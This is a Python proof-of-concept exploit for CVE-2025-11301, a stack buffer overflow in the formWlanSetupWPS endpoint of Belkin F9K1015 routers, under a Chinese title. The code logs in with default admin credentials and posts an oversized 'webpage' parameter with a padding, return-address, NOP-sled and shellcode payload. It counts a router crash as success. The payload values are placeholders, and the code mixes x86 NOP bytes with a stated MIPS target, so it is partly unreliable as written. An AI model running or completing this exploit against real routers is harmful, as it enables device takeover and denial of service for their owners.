CVE-2025-11301：Belkin F9K1015路由器formWlanSetupWPS缓冲区溢出漏洞

# CVE-2025-11301 PoC - Belkin F9K1015 formWlanSetupWPS Buffer Overflow # Vulnerability: Buffer overflow via 'webpage' parameter in /goform/formWlanSetupWPS # Affected: Belkin F9K1015 firmware v1.00.10 # CVSS: 8.8 (HIGH) import requests import sys from struct import pack TARGET_HOST = "http://192.168.2.1" # Default Belkin router address AUTH_USER = "admin" AUTH_PASS = "admin" # Default credentials or obtained credentials def exploit(target_host, username, password): """ Exploit buffer overflow in formWlanSetupWPS endpoint via the 'webpage' parameter. """ session = requests.Session() # Step 1: Authenticate to obtain session cookie login_url = f"{target_host}/login.cgi" login_data = { "login": "true", "username": username, "password": password } session.post(login_url, data=login_data) # Step 2: Construct overflow payload for 'webpage' parameter # Overflow the stack buffer to overwrite return address # Adjust offset based on the specific buffer size in the binary offset = 512 # Estimated offset to return address # Bad characters to avoid: \x00, \x0a, \x0d # Return address for MIPS little-endian (typical for Belkin routers) # This should point to a ROP gadget or shellcode location ret_address = pack("<I", 0x7f000000) # Placeholder return address # NOP sled + shellcode placeholder nop_sled = b"\x90" * 64 # x86 NOP sled (adjust for target arch) shellcode = b"\xcc" * 64 # Placeholder shellcode (INT3 breakpoints) payload = b"A" * offset payload += ret_address payload += nop_sled payload += shellcode # Step 3: Send malicious request to vulnerable endpoint vuln_url = f"{target_host}/goform/formWlanSetupWPS" params = { "webpage": payload.decode('latin-1'), # Additional parameters may be required "wps_action": "1" } headers = { "Content-Type": "application/x-www-form-urlencoded", "User-Agent": "Mozilla/5.0" } print(f"[*] Sending exploit to {vuln_url}") try: response = session.post(vuln_url, data=params, headers=headers, timeout=10) print(f"[*] Response status: {response.status_code}") print(f"[*] Response length: {len(response.content)}") except requests.exceptions.Timeout: print("[+] Target may have crashed - exploit possibly successful") except requests.exceptions.ConnectionError: print("[+] Connection refused - target may have crashed") except Exception as e: print(f"[-] Error: {e}") if __name__ == "__main__": host = sys.argv[1] if len(sys.argv) > 1 else TARGET_HOST user = sys.argv[2] if len(sys.argv) > 2 else AUTH_USER pwd = sys.argv[3] if len(sys.argv) > 3 else AUTH_PASS exploit(host, user, pwd)